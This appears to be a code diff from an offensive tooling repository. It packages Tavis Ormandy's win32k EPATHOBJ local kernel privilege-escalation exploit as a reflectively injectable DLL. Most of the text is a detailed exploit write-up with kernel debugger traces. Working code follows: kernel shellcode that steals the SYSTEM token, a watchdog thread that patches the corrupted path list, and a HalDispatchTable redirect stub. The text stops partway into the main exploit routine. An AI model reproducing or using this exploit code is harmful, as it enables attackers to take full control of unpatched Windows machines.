||||
va_list args;
|
||||
char buffer[1024];
|
||||
va_start(args,format);
|
||||
vsnprintf_s(buffer, sizeof(buffer), sizeof(buffer)-3, format,args);
|
||||
strcat_s(buffer, sizeof(buffer), "\r\n");
|
||||
OutputDebugStringA(buffer);
|
||||
}
|
|
@ -0,0 +1,51 @@
|
|||
//===============================================================================================//
|
||||
// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
|
||||
// All rights reserved.
|
||||
//
|
||||
// Redistribution and use in source and binary forms, with or without modification, are permitted
|
||||
// provided that the following conditions are met:
|
||||
//
|
||||
// * Redistributions of source code must retain the above copyright notice, this list of
|
||||
// conditions and the following disclaimer.
|
||||
//
|
||||
// * Redistributions in binary form must reproduce the above copyright notice, this list of
|
||||
// conditions and the following disclaimer in the documentation and/or other materials provided
|
||||
// with the distribution.
|
||||
//
|
||||
// * Neither the name of Harmony Security nor the names of its contributors may be used to
|
||||
// endorse or promote products derived from this software without specific prior written permission.
|
||||
//
|
||||
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
|
||||
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
|
||||
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
|
||||
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
||||
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
|
||||
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
||||
// POSSIBILITY OF SUCH DAMAGE.
|
||||
//===============================================================================================//
|
||||
#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H
|
||||
#define _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H
|
||||
//===============================================================================================//
|
||||
#define WIN32_LEAN_AND_MEAN
|
||||
#include <windows.h>
|
||||
|
||||
// we declare some common stuff in here...
|
||||
|
||||
#define DLL_QUERY_HMODULE 6
|
||||
|
||||
#define DEREF( name )*(UINT_PTR *)(name)
|
||||
#define DEREF_64( name )*(DWORD64 *)(name)
|
||||
#define DEREF_32( name )*(DWORD *)(name)
|
||||
#define DEREF_16( name )*(WORD *)(name)
|
||||
#define DEREF_8( name )*(BYTE *)(name)
|
||||
|
||||
typedef DWORD (WINAPI * REFLECTIVELOADER)( VOID );
|
||||
typedef BOOL (WINAPI * DLLMAIN)( HINSTANCE, DWORD, LPVOID );
|
||||
|
||||
#define DLLEXPORT __declspec( dllexport )
|
||||
|
||||
//===============================================================================================//
|
||||
#endif
|
||||
//===============================================================================================//
|
|
@ -0,0 +1,801 @@
|
|||
//===============================================================================================//
|
||||
// This is a stub for the actuall functionality of the DLL.
|
||||
//===============================================================================================//
|
||||
|
||||
// Note: REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR and REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN are
|
||||
// defined in the project properties (Properties->C++->Preprocessor) so as we can specify our own
|
||||
// DllMain and use the LoadRemoteLibraryR() API to inject this DLL.
|
||||
//===============================================================================================//
|
||||
|
||||
#include "ReflectiveLoader.h"
|
||||
#include "ComplexPath.h"
|
||||
|
||||
//
|
||||
// --------------------------------------------------
|
||||
// Windows NT/2K/XP/2K3/VISTA/2K8/7/8 EPATHOBJ local ring0 exploit
|
||||
// ----------------------------------------- taviso@cmpxchg8b.com -----
|
||||
//
|
||||
// INTRODUCTION
|
||||
//
|
||||
// There's a pretty obvious bug in win32k!EPATHOBJ::pprFlattenRec where the
|
||||
// PATHREC object returned by win32k!EPATHOBJ::newpathrec doesn't initialise the
|
||||
// next list pointer. The bug is really nice, but exploitation when
|
||||
// allocations start failing is tricky.
|
||||
//
|
||||
// ; BOOL __thiscall EPATHOBJ::newpathrec(EPATHOBJ *this,
|
||||
// PATHRECORD **pppr,
|
||||
// ULONG *pcMax,
|
||||
// ULONG cNeeded)
|
||||
// .text:BFA122CA mov esi, [ebp+ppr]
|
||||
// .text:BFA122CD mov eax, [esi+PATHRECORD.pprPrev]
|
||||
// .text:BFA122D0 push edi
|
||||
// .text:BFA122D1 mov edi, [ebp+pprNew]
|
||||
// .text:BFA122D4 mov [edi+PATHRECORD.pprPrev], eax
|
||||
// .text:BFA122D7 lea eax, [edi+PATHRECORD.count]
|
||||
// .text:BFA122DA xor edx, edx
|
||||
// .text:BFA122DC mov [eax], edx
|
||||
// .text:BFA122DE mov ecx, [esi+PATHRECORD.flags]
|
||||
// .text:BFA122E1 and ecx, not (PD_BEZIER)
|
||||
// .text:BFA122E4 mov [edi+PATHRECORD.flags], ecx
|
||||
// .text:BFA122E7 mov [ebp+pprNewCountPtr], eax
|
||||
// .text:BFA122EA cmp [edi+PATHRECORD.pprPrev], edx
|
||||
// .text:BFA122ED jnz short loc_BFA122F7
|
||||
// .text:BFA122EF mov ecx, [ebx+EPATHOBJ.ppath]
|
||||
// .text:BFA122F2 mov [ecx+PATHOBJ.pprfirst], edi
|
||||
//
|
||||
// It turns out this mostly works because newpathrec() is backed by newpathalloc()
|
||||
// which uses PALLOCMEM(). PALLOCMEM() will always zero the buffer returned.
|
||||
//
|
||||
// ; PVOID __stdcall PALLOCMEM(size_t size, int tag)
|
||||
// .text:BF9160D7 xor esi, esi
|
||||
// .text:BF9160DE push esi
|
||||
// .text:BF9160DF push esi
|
||||
// .text:BF9160E0 push [ebp+tag]
|
||||
// .text:BF9160E3 push [ebp+size]
|
||||
// .text:BF9160E6 call _HeavyAllocPool@16 ; HeavyAllocPool(x,x,x,x)
|
||||
// .text:BF9160EB mov esi, eax
|
||||
// .text:BF9160ED test esi, esi
|
||||
// .text:BF9160EF jz short loc_BF9160FF
|
||||
// .text:BF9160F1 push [ebp+size] ; size_t
|
||||
// .text:BF9160F4 push 0 ; int
|
||||
// .text:BF9160F6 push esi ; void *
|
||||
// .text:BF9160F7 call _memset
|
||||
//
|
||||
// However, the PATHALLOC allocator includes it's own freelist implementation, and
|
||||
// if that codepath can satisfy a request the memory isn't zeroed and returned
|
||||
// directly to the caller. This effectively means that we can add our own objects
|
||||
// to the PATHRECORD chain.
|
||||
//
|
||||
// We can force this behaviour under memory pressure relatively easily, I just
|
||||
// spam HRGN objects until they start failing. This isn't super reliable, but it's
|
||||
// good enough for testing.
|
||||
//
|
||||
// // I don't use the simpler CreateRectRgn() because it leaks a GDI handle on
|
||||
// // failure. Seriously, do some damn QA Microsoft, wtf.
|
||||
// for (Size = 1 << 26; Size; Size >>= 1) {
|
||||
// while (CreateRoundRectRgn(0, 0, 1, Size, 1, 1))
|
||||
// ;
|
||||
// }
|
||||
//
|
||||
// Adding user controlled blocks to the freelist is a little trickier, but I've
|
||||
// found that flattening large lists of bezier curves added with PolyDraw() can
|
||||
// accomplish this reliably. The code to do this is something along the lines of:
|
||||
//
|
||||
// for (PointNum = 0; PointNum < MAX_POLYPOINTS; PointNum++) {
|
||||
// Points[PointNum].x = 0x41414141 >> 4;
|
||||
// Points[PointNum].y = 0x41414141 >> 4;
|
||||
// PointTypes[PointNum] = PT_BEZIERTO;
|
||||
// }
|
||||
//
|
||||
// for (PointNum = MAX_POLYPOINTS; PointNum; PointNum -= 3) {
|
||||
// BeginPath(Device);
|
||||
// PolyDraw(Device, Points, PointTypes, PointNum);
|
||||
// EndPath(Device);
|
||||
// FlattenPath(Device);
|
||||
// FlattenPath(Device);
|
||||
// EndPath(Device);
|
||||
// }
|
||||
//
|
||||
// We can verify this is working by putting a breakpoint after newpathrec, and
|
||||
// verifying the buffer is filled with recognisable values when it returns:
|
||||
//
|
||||
// kd> u win32k!EPATHOBJ::pprFlattenRec+1E
|
||||
// win32k!EPATHOBJ::pprFlattenRec+0x1e:
|
||||
// 95c922b8 e8acfbffff call win32k!EPATHOBJ::newpathrec (95c91e69)
|
||||
// 95c922bd 83f801 cmp eax,1
|
||||
// 95c922c0 7407 je win32k!EPATHOBJ::pprFlattenRec+0x2f (95c922c9)
|
||||
// 95c922c2 33c0 xor eax,eax
|
||||
// 95c922c4 e944020000 jmp win32k!EPATHOBJ::pprFlattenRec+0x273 (95c9250d)
|
||||
// 95c922c9 56 push esi
|
||||
// 95c922ca 8b7508 mov esi,dword ptr [ebp+8]
|
||||
// 95c922cd 8b4604 mov eax,dword ptr [esi+4]
|
||||
// kd> ba e 1 win32k!EPATHOBJ::pprFlattenRec+23 "dd poi(ebp-4) L1; gc"
|
||||
// kd> g
|
||||
// fe938fac 41414140
|
||||
// fe938fac 41414140
|
||||
// fe938fac 41414140
|
||||
// fe938fac 41414140
|
||||
// fe938fac 41414140
|
||||
//
|
||||
// The breakpoint dumps the first dword of the returned buffer, which matches the
|
||||
// bezier points set with PolyDraw(). So convincing pprFlattenRec() to move
|
||||
// EPATHOBJ->records->head->next->next into userspace is no problem, and we can
|
||||
// easily break the list traversal in bFlattten():
|
||||
//
|
||||
// BOOL __thiscall EPATHOBJ::bFlatten(EPATHOBJ *this)
|
||||
// {
|
||||
// EPATHOBJ *pathobj; // esi@1
|
||||
// PATHOBJ *ppath; // eax@1
|
||||
// BOOL result; // eax@2
|
||||
// PATHRECORD *ppr; // eax@3
|
||||
//
|
||||
// pathobj = this;
|
||||
// ppath = this->ppath;
|
||||
// if ( ppath )
|
||||
// {
|
||||
// for ( ppr = ppath->pprfirst; ppr; ppr = ppr->pprnext )
|
||||
// {
|
||||
// if ( ppr->flags & PD_BEZIER )
|
||||
// {
|
||||
// ppr = EPATHOBJ::pprFlattenRec(pathobj, ppr);
|
||||
// if ( !ppr )
|
||||
// goto LABEL_2;
|
||||
// }
|
||||
// }
|
||||
// pathobj->fl &= 0xFFFFFFFE;
|
||||
// result = 1;
|
||||
// }
|
||||
// else
|
||||
// {
|
||||
// LABEL_2:
|
||||
// result = 0;
|
||||
// }
|
||||
// return result;
|
||||
// }
|
||||
//
|
||||
// All we have to do is allocate our own PATHRECORD structure, and then spam
|
||||
// PolyDraw() with POINTFIX structures containing co-ordinates that are actually
|
||||
// pointers shifted right by 4 (for this reason the structure must be aligned so
|
||||
// the bits shifted out are all zero).
|
||||
//
|
||||
// We can see this in action by putting a breakpoint in bFlatten when ppr has
|
||||
// moved into userspace:
|
||||
//
|
||||
// kd> u win32k!EPATHOBJ::bFlatten
|
||||
// win32k!EPATHOBJ::bFlatten:
|
||||
// 95c92517 8bff mov edi,edi
|
||||
// 95c92519 56 push esi
|
||||
// 95c9251a 8bf1 mov esi,ecx
|
||||
// 95c9251c 8b4608 mov eax,dword ptr [esi+8]
|
||||
// 95c9251f 85c0 test eax,eax
|
||||
// 95c92521 7504 jne win32k!EPATHOBJ::bFlatten+0x10 (95c92527)
|
||||
// 95c92523 33c0 xor eax,eax
|
||||
// 95c92525 5e pop esi
|
||||
// kd> u
|
||||
// win32k!EPATHOBJ::bFlatten+0xf:
|
||||
// 95c92526 c3 ret
|
||||
// 95c92527 8b4014 mov eax,dword ptr [eax+14h]
|
||||
// 95c9252a eb14 jmp win32k!EPATHOBJ::bFlatten+0x29 (95c92540)
|
||||
// 95c9252c f6400810 test byte ptr [eax+8],10h
|
||||
// 95c92530 740c je win32k!EPATHOBJ::bFlatten+0x27 (95c9253e)
|
||||
// 95c92532 50 push eax
|
||||
// 95c92533 8bce mov ecx,esi
|
||||
// 95c92535 e860fdffff call win32k!EPATHOBJ::pprFlattenRec (95c9229a)
|
||||
//
|
||||
// So at 95c9252c eax is ppr->next, and the routine checks for the PD_BEZIERS
|
||||
// flags (defined in winddi.h). Let's break if it's in userspace:
|
||||
//
|
||||
// kd> ba e 1 95c9252c "j (eax < poi(nt!MmUserProbeAddress)) 'gc'; ''"
|
||||
// kd> g
|
||||
// 95c9252c f6400810 test byte ptr [eax+8],10h
|
||||
// kd> r
|
||||
// eax=41414140 ebx=95c1017e ecx=97330bec edx=00000001 esi=97330bec edi=0701062d
|
||||
// eip=95c9252c esp=97330be4 ebp=97330c28 iopl=0 nv up ei pl nz na po nc
|
||||
// cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010202
|
||||
// win32k!EPATHOBJ::bFlatten+0x15:
|
||||
// 95c9252c f6400810 test byte ptr [eax+8],10h ds:0023:41414148=??
|
||||
//
|
||||
// The question is how to turn that into code execution? It's obviously trivial to
|
||||
// call prFlattenRec with our userspace PATHRECORD..we can do that by setting
|
||||
// PD_BEZIER in our userspace PATHRECORD, but the early exit on allocation failure
|
||||
// poses a problem.
|
||||
//
|
||||
// Let me demonstrate calling it with my own PATHRECORD:
|
||||
//
|
||||
// // Create our PATHRECORD in userspace we will get added to the EPATHOBJ
|
||||
// // pathrecord chain.
|
||||
// PathRecord = VirtualAlloc(NULL,
|
||||
// sizeof(PATHRECORD),
|
||||
// MEM_COMMIT | MEM_RESERVE,
|
||||
// PAGE_EXECUTE_READWRITE);
|
||||
//
|
||||
// // Initialise with recognisable debugging values.
|
||||
// FillMemory(PathRecord, sizeof(PATHRECORD), 0xCC);
|
||||
//
|
||||
// PathRecord->next = (PVOID)(0x41414141);
|
||||
// PathRecord->prev = (PVOID)(0x42424242);
|
||||
//
|
||||
// // You need the PD_BEZIERS flag to enter EPATHOBJ::pprFlattenRec() from
|
||||
// // EPATHOBJ::bFlatten(), do that here.
|
||||
// PathRecord->flags = PD_BEZIERS;
|
||||
//
|
||||
// // Generate a large number of Bezier Curves made up of pointers to our
|
||||
// // PATHRECORD object.
|
||||
// for (PointNum = 0; PointNum < MAX_POLYPOINTS; PointNum++) {
|
||||
// Points[PointNum].x = (ULONG)(PathRecord) >> 4;
|
||||
// Points[PointNum].y = (ULONG)(PathRecord) >> 4;
|
||||
// PointTypes[PointNum] = PT_BEZIERTO;
|
||||
// }
|
||||
//
|
||||
// kd> ba e 1 win32k!EPATHOBJ::pprFlattenRec+28 "j (dwo(ebp+8) < dwo(nt!MmUserProbeAddress)) ''; 'gc'"
|
||||
// kd> g
|
||||
// win32k!EPATHOBJ::pprFlattenRec+0x28:
|
||||
// 95c922c2 33c0 xor eax,eax
|
||||
// kd> dd ebp+8 L1
|
||||
// a3633be0 00130000
|
||||
//
|
||||
// The ppr object is in userspace! If we peek at it:
|
||||
//
|
||||
// kd> dd poi(ebp+8)
|
||||
// 00130000 41414141 42424242 00000010 cccccccc
|
||||
// 00130010 00000000 00000000 00000000 00000000
|
||||
// 00130020 00000000 00000000 00000000 00000000
|
||||
// 00130030 00000000 00000000 00000000 00000000
|
||||
// 00130040 00000000 00000000 00000000 00000000
|
||||
// 00130050 00000000 00000000 00000000 00000000
|
||||
// 00130060 00000000 00000000 00000000 00000000
|
||||
// 00130070 00000000 00000000 00000000 00000000
|
||||
//
|
||||
// There's the next and prev pointer.
|
||||
//
|
||||
// kd> kvn
|
||||
// # ChildEBP RetAddr Args to Child
|
||||
// 00 a3633bd8 95c9253a 00130000 002bfea0 95c101ce win32k!EPATHOBJ::pprFlattenRec+0x28 (FPO: [Non-Fpo])
|
||||
// 01 a3633be4 95c101ce 00000001 00000294 fe763360 win32k!EPATHOBJ::bFlatten+0x23 (FPO: [0,0,4])
|
||||
// 02 a3633c28 829ab173 0701062d 002bfea8 7721a364 win32k!NtGdiFlattenPath+0x50 (FPO: [Non-Fpo])
|
||||
// 03 a3633c28 7721a364 0701062d 002bfea8 7721a364 nt!KiFastCallEntry+0x163 (FPO: [0,3] TrapFrame @ a3633c34)
|
||||
//
|
||||
// The question is how to get PATHALLOC() to succeed under memory pressure so we
|
||||
// can make this exploitable? I'm quite proud of this list cycle trick,
|
||||
// here's how to turn it into an arbitrary write.
|
||||
//
|
||||
// First, we create a watchdog thread that will patch the list atomically
|
||||
// when we're ready. This is needed because we can't exploit the bug while
|
||||
// HeavyAllocPool is failing, because of the early exit in pprFlattenRec:
|
||||
//
|
||||
// .text:BFA122B8 call newpathrec ; EPATHOBJ::newpathrec(_PATHRECORD * *,ulong *,ulong)
|
||||
// .text:BFA122BD cmp eax, 1 ; Check for failure
|
||||
// .text:BFA122C0 jz short continue
|
||||
// .text:BFA122C2 xor eax, eax ; Exit early
|
||||
// .text:BFA122C4 jmp early_exit
|
||||
//
|
||||
// So we create a list node like this:
|
||||
//
|
||||
// PathRecord->Next = PathRecord;
|
||||
// PathRecord->Flags = 0;
|
||||
//
|
||||
// Then EPATHOBJ::bFlatten() spins forever doing nothing:
|
||||
//
|
||||
// BOOL __thiscall EPATHOBJ::bFlatten(EPATHOBJ *this)
|
||||
// {
|
||||
// /* ... */
|
||||
//
|
||||
// for ( ppr = ppath->pprfirst; ppr; ppr = ppr->pprnext )
|
||||
// {
|
||||
// if ( ppr->flags & PD_BEZIER )
|
||||
// {
|
||||
// ppr = EPATHOBJ::pprFlattenRec(pathobj, ppr);
|
||||
// }
|
||||
// }
|
||||
//
|
||||
// /* ... */
|
||||
// }
|
||||
//
|
||||
// While it's spinning, we clean up in another thread, then patch the thread (we
|
||||
// can do this, because it's now in userspace) to trigger the exploit. The first
|
||||
// block of pprFlattenRec does something like this:
|
||||
//
|
||||
// if ( pprNew->pprPrev )
|
||||
// pprNew->pprPrev->pprnext = pprNew;
|
||||
//
|
||||
// Let's make that write to 0xCCCCCCCC.
|
||||
//
|
||||
// DWORD WINAPI WatchdogThread(LPVOID Parameter)
|
||||
// {
|
||||
//
|
||||
// // This routine waits for a mutex object to timeout, then patches the
|
||||
// // compromised linked list to point to an exploit. We need to do this.
|
||||
// LogMessage(L_INFO, "Watchdog thread %u waiting on Mutex@%p",
|
||||
// GetCurrentThreadId(),
|
||||
// Mutex);
|
||||
//
|
||||
// if (WaitForSingleObject(Mutex, CYCLE_TIMEOUT) == WAIT_TIMEOUT) {
|
||||
// // It looks like the main thread is stuck in a call to FlattenPath(),
|
||||
// // because the kernel is spinning in EPATHOBJ::bFlatten(). We can clean
|
||||
// // up, and then patch the list to trigger our exploit.
|
||||
// while (NumRegion--)
|
||||
// DeleteObject(Regions[NumRegion]);
|
||||
//
|
||||
// LogMessage(L_ERROR, "InterlockedExchange(%p, %p);", &PathRecord->next, &ExploitRecord);
|
||||
//
|
||||
// InterlockedExchangePointer(&PathRecord->next, &ExploitRecord);
|
||||
//
|
||||
// } else {
|
||||
// LogMessage(L_ERROR, "Mutex object did not timeout, list not patched");
|
||||
// }
|
||||
//
|
||||
// return 0;
|
||||
// }
|
||||
//
|
||||
// PathRecord->next = PathRecord;
|
||||
// PathRecord->prev = (PVOID)(0x42424242);
|
||||
// PathRecord->flags = 0;
|
||||
//
|
||||
// ExploitRecord.next = NULL;
|
||||
// ExploitRecord.prev = 0xCCCCCCCC;
|
||||
// ExploitRecord.flags = PD_BEZIERS;
|
||||
//
|
||||
// Here's the output on Windows 8:
|
||||
//
|
||||
// kd> g
|
||||
// *******************************************************************************
|
||||
// * *
|
||||
// * Bugcheck Analysis *
|
||||
// * *
|
||||
// *******************************************************************************
|
||||
//
|
||||
// Use !analyze -v to get detailed debugging information.
|
||||
//
|
||||
// BugCheck 50, {cccccccc, 1, 8f18972e, 2}
|
||||
// *** WARNING: Unable to verify checksum for ComplexPath.exe
|
||||
// *** ERROR: Module load completed but symbols could not be loaded for ComplexPath.exe
|
||||
// Probably caused by : win32k.sys ( win32k!EPATHOBJ::pprFlattenRec+82 )
|
||||
//
|
||||
// Followup: MachineOwner
|
||||
// ---------
|
||||
//
|
||||
// nt!RtlpBreakWithStatusInstruction:
|
||||
// 810f46f4 cc int 3
|
||||
// kd> kv
|
||||
// ChildEBP RetAddr Args to Child
|
||||
// a03ab494 8111c87d 00000003 c17b60e1 cccccccc nt!RtlpBreakWithStatusInstruction (FPO: [1,0,0])
|
||||
// a03ab4e4 8111c119 00000003 817d5340 a03ab8e4 nt!KiBugCheckDebugBreak+0x1c (FPO: [Non-Fpo])
|
||||
// a03ab8b8 810f30ba 00000050 cccccccc 00000001 nt!KeBugCheck2+0x655 (FPO: [6,239,4])
|
||||
// a03ab8dc 810f2ff1 00000050 cccccccc 00000001 nt!KiBugCheck2+0xc6
|
||||
// a03ab8fc 811a2816 00000050 cccccccc 00000001 nt!KeBugCheckEx+0x19
|
||||
// a03ab94c 810896cf 00000001 cccccccc a03aba2c nt! ?? ::FNODOBFM::`string'+0x31868
|
||||
// a03aba14 8116c4e4 00000001 cccccccc 00000000 nt!MmAccessFault+0x42d (FPO: [4,37,4])
|
||||
// a03aba14 8f18972e 00000001 cccccccc 00000000 nt!KiTrap0E+0xdc (FPO: [0,0] TrapFrame @ a03aba2c)
|
||||
// a03abbac 8f103c28 0124eba0 a03abbd8 8f248f79 win32k!EPATHOBJ::pprFlattenRec+0x82 (FPO: [Non-Fpo])
|
||||
// a03abbb8 8f248f79 1c010779 0016fd04 8f248f18 win32k!EPATHOBJ::bFlatten+0x1f (FPO: [0,1,0])
|
||||
// a03abc08 8116918c 1c010779 0016fd18 776d7174 win32k!NtGdiFlattenPath+0x61 (FPO: [1,15,4])
|
||||
// a03abc08 776d7174 1c010779 0016fd18 776d7174 nt!KiFastCallEntry+0x12c (FPO: [0,3] TrapFrame @ a03abc14)
|
||||
// 0016fcf4 76b1552b 0124147f 1c010779 00000040 ntdll!KiFastSystemCallRet (FPO: [0,0,0])
|
||||
// 0016fcf8 0124147f 1c010779 00000040 00000000 GDI32!NtGdiFlattenPath+0xa (FPO: [1,0,0])
|
||||
// WARNING: Stack unwind information not available. Following frames may be wrong.
|
||||
// 0016fd18 01241ade 00000001 00202b50 00202ec8 ComplexPath+0x147f
|
||||
// 0016fd60 76ee1866 7f0de000 0016fdb0 77716911 ComplexPath+0x1ade
|
||||
// 0016fd6c 77716911 7f0de000 bc1d7832 00000000 KERNEL32!BaseThreadInitThunk+0xe (FPO: [Non-Fpo])
|
||||
// 0016fdb0 777168bd ffffffff 7778560a 00000000 ntdll!__RtlUserThreadStart+0x4a (FPO: [SEH])
|
||||
// 0016fdc0 00000000 01241b5b 7f0de000 00000000 ntdll!_RtlUserThreadStart+0x1c (FPO: [Non-Fpo])
|
||||
// kd> .trap a03aba2c
|
||||
// ErrCode = 00000002
|
||||
// eax=cccccccc ebx=80206014 ecx=80206008 edx=85ae1224 esi=0124eba0 edi=a03abbd8
|
||||
// eip=8f18972e esp=a03abaa0 ebp=a03abbac iopl=0 nv up ei ng nz na pe nc
|
||||
// cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010286
|
||||
// win32k!EPATHOBJ::pprFlattenRec+0x82:
|
||||
// 8f18972e 8918 mov dword ptr [eax],ebx ds:0023:cccccccc=????????
|
||||
// kd> vertarget
|
||||
// Windows 8 Kernel Version 9200 MP (1 procs) Free x86 compatible
|
||||
// Product: WinNt, suite: TerminalServer SingleUserTS
|
||||
// Built by: 9200.16581.x86fre.win8_gdr.130410-1505
|
||||
// Machine Name:
|
||||
// Kernel base = 0x81010000 PsLoadedModuleList = 0x811fde48
|
||||
// Debug session time: Mon May 20 14:17:20.259 2013 (UTC - 7:00)
|
||||
// System Uptime: 0 days 0:02:30.432
|
||||
// kd> .bugcheck
|
||||
// Bugcheck code 00000050
|
||||
// Arguments cccccccc 00000001 8f18972e 00000002
|
||||
//
|
||||
// EXPLOITATION
|
||||
//
|
||||
// We're somewhat limited with what we can do, as we don't control what's
|
||||
// written, it's always a pointer to a PATHRECORD object. We can clobber a
|
||||
// function pointer, but the problem is making it point somewhere useful.
|
||||
//
|
||||
// The solution is to make the Next pointer a valid sequence of instructions,
|
||||
// which jumps to our second stage payload. We have to do that in just 4 bytes
|
||||
// (unless you can find a better call site, let me know if you spot one).
|
||||
//
|
||||
// Thanks to progmboy for coming up with the solution: you reach back up the
|
||||
// stack and pull a SystemCall parameter out of the stack. It turns out
|
||||
// NtQueryIntervalProfile matches this requirement perfectly.
|
||||
//
|
||||
// INSTRUCTIONS
|
||||
//
|
||||
// C:\> cl ComplexPath.c
|
||||
// C:\> ComplexPath
|
||||
//
|
||||
// You might need to run it several times before we get the allocation we need,
|
||||
// it won't crash if it doesn't work, so you can keep trying. I'm not sure how
|
||||
// to improve that.
|
||||
//
|
||||
// CREDIT
|
||||
//
|
||||
// Tavis Ormandy <taviso@cmpxchg8b.com>
|
||||
// progmboy <programmeboy@gmail.com>
|
||||
//
|
||||
|
||||
#ifndef _NTDEF_
|
||||
typedef __success(return >= 0) LONG NTSTATUS;
|
||||
typedef NTSTATUS *PNTSTATUS;
|
||||
#endif
|
||||
|
||||
// Search the specified data structure for a member with CurrentValue.
|
||||
BOOL FindAndReplaceMember(PDWORD Structure,
|
||||
DWORD CurrentValue,
|
||||
DWORD NewValue,
|
||||
DWORD MaxSize)
|
||||
{
|
||||
DWORD i, Mask;
|
||||
|
||||
// Microsoft QWORD aligns object pointers, then uses the lower three
|
||||
// bits for quick reference counting.
|
||||
Mask = ~7;
|
||||
|
||||
// Mask out the reference count.
|
||||
CurrentValue &= Mask;
|
||||
|
||||
// Scan the structure for any occurrence of CurrentValue.
|
||||
for (i = 0; i < MaxSize; i++) {
|
||||
if ((Structure[i] & Mask) == CurrentValue) {
|
||||
// And finally, replace it with NewValue.
|
||||
Structure[i] = NewValue;
|
||||
return TRUE;
|
||||
}
|
||||
}
|
||||
|
||||
// Member not found.
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
|
||||
// This routine is injected into nt!HalDispatchTable by EPATHOBJ::pprFlattenRec.
|
||||
ULONG __stdcall ShellCode(DWORD Arg1, DWORD Arg2, DWORD Arg3, DWORD Arg4)
|
||||
{
|
||||
PVOID TargetProcess;
|
||||
|
||||
// Record that the exploit completed.
|
||||
ComplexPathFinished = 1;
|
||||
|
||||
// Fix the corrupted HalDispatchTable,
|
||||
HalDispatchTable[1] = HalQuerySystemInformation;
|
||||
|
||||
// Find the EPROCESS structure for the process I want to escalate
|
||||
if (PsLookupProcessByProcessId(TargetPid, &TargetProcess) == STATUS_SUCCESS) {
|
||||
PACCESS_TOKEN SystemToken;
|
||||
PACCESS_TOKEN TargetToken;
|
||||
|
||||
// Find the Token object for my target process, and the SYSTEM process.
|
||||
TargetToken = (PACCESS_TOKEN) PsReferencePrimaryToken(TargetProcess);
|
||||
SystemToken = (PACCESS_TOKEN) PsReferencePrimaryToken(*PsInitialSystemProcess);
|
||||
|
||||
// Find the token in the target process, and replace with the system token.
|
||||
FindAndReplaceMember((PDWORD) TargetProcess,
|
||||
(DWORD) TargetToken,
|
||||
(DWORD) SystemToken,
|
||||
0x200);
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
DWORD WINAPI WatchdogThread(LPVOID Parameter)
|
||||
{
|
||||
// Here we wait for the main thread to get stuck inside FlattenPath().
|
||||
WaitForSingleObject(Mutex, CYCLE_TIMEOUT);
|
||||
|
||||
// It looks like we've taken control of the list, and the main thread
|
||||
// is spinning in EPATHOBJ::bFlatten. We can't continue because
|
||||
// EPATHOBJ::pprFlattenRec exit's immediately if newpathrec() fails.
|
||||
|
||||
// So first, we clean up and make sure it can allocate memory.
|
||||
while (ComplexPathNumRegion) DeleteObject(Regions[--ComplexPathNumRegion]);
|
||||
|
||||
// Now we switch out the Next pointer for our exploit record. As soon
|
||||
// as this completes, the main thread will stop spinning and continue
|
||||
// into EPATHOBJ::pprFlattenRec.
|
||||
InterlockedExchangePointer(&PathRecord->next,
|
||||
&ExploitRecord);
|
||||
return 0;
|
||||
}
|
||||
|
||||
// I use this routine to generate a table of acceptable stub addresses. The
|
||||
// 0x40 offset is the location of the PULONG parameter to
|
||||
// nt!NtQueryIntervalProfile. Credit to progmboy for coming up with this clever
|
||||
// trick.
|
||||
VOID __declspec(naked) HalDispatchRedirect(VOID)
|
||||
{
|
||||
__asm inc eax
|
||||
__asm jmp dword ptr [ebp+0x40]; // 0
|
||||
__asm inc ecx
|
||||
__asm jmp dword ptr [ebp+0x40]; // 1
|
||||
__asm inc edx
|
||||
__asm jmp dword ptr [ebp+0x40]; // 2
|
||||
__asm inc ebx
|
||||
__asm jmp dword ptr [ebp+0x40]; // 3
|
||||
__asm inc esi
|
||||
__asm jmp dword ptr [ebp+0x40]; // 4
|
||||
__asm inc edi
|
||||
__asm jmp dword ptr [ebp+0x40]; // 5
|
||||
__asm dec eax
|
||||
__asm jmp dword ptr [ebp+0x40]; // 6
|
||||
__asm dec ecx
|
||||
__asm jmp dword ptr [ebp+0x40]; // 7
|
||||
__asm dec edx
|
||||
__asm jmp dword ptr [ebp+0x40]; // 8
|
||||
__asm dec ebx
|
||||
__asm jmp dword ptr [ebp+0x40]; // 9
|
||||
__asm dec esi
|
||||
__asm jmp dword ptr [ebp+0x40]; // 10
|
||||
__asm dec edi
|
||||
__asm jmp dword ptr [ebp+0x40]; // 11
|
||||
|
||||
// Mark end of table.
|
||||
__asm {
|
||||
_emit 0
|
||||
_emit 0
|
||||
_emit 0
|
||||
_emit 0
|
||||
}
|
||||
}
|
||||
|
||||
VOID elevator_complex_path()
|
||||
{
|
||||
HANDLE Thread;
|
||||
HDC Device;
|
||||
ULONG Size;
|
||||
ULONG PointNum;
|
||||
HMODULE KernelHandle;
|
||||
PULONG DispatchRedirect;
|
||||
PULONG Interval;
|
||||
ULONG SavedInterval;
|
||||
RTL_PROCESS_MODULES ModuleInfo;
|
||||
|
||||
